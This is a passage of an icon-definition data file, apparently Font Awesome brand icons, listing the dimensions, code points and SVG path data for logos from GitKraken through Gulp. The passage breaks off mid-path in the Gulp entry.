	"gitkraken": [592, 512, [], "f3a6", "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z"],
	"gitlab": [512, 512, [], "f296", "M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z"],
	"gitter": [384, 512, [], "f426", "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"],
	"glide": [448, 512, [], "f2a5", "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z"],
	"glide-g": [448, 512, [], "f2a6", "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z"],
	"gofore": [400, 512, [], "f3a7", "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z"],
	"goodreads": [448, 512, [], "f3a8", "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z"],
	"goodreads-g": [384, 512, [], "f3a9", "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z"],
	"google": [488, 512, [], "f1a0", "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"],
	"google-drive": [512, 512, [], "f3aa", "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z"],
	"google-pay": [640, 512, [], "e079", "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z"],
	"google-play": [512, 512, [], "f3ab", "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z"],
	"google-plus": [512, 512, [], "f2b3", "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z"],
	"google-plus-g": [640, 512, [], "f0d5", "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z"],
	"google-plus-square": [448, 512, [], "f0d4", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z"],
	"google-wallet": [448, 512, [], "f1ee", "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z"],
	"gratipay": [496, 512, [], "f184", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z"],
	"grav": [512, 512, [], "f2d6", "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z"],
	"gripfire": [384, 512, [], "f3ac", "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z"],
	"grunt": [384, 512, [], "f3ad", "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z"],
	"guilded": [448, 512, [], "e07e", "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z"],
	"gulp": [256, 512, [], "f3ae", "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 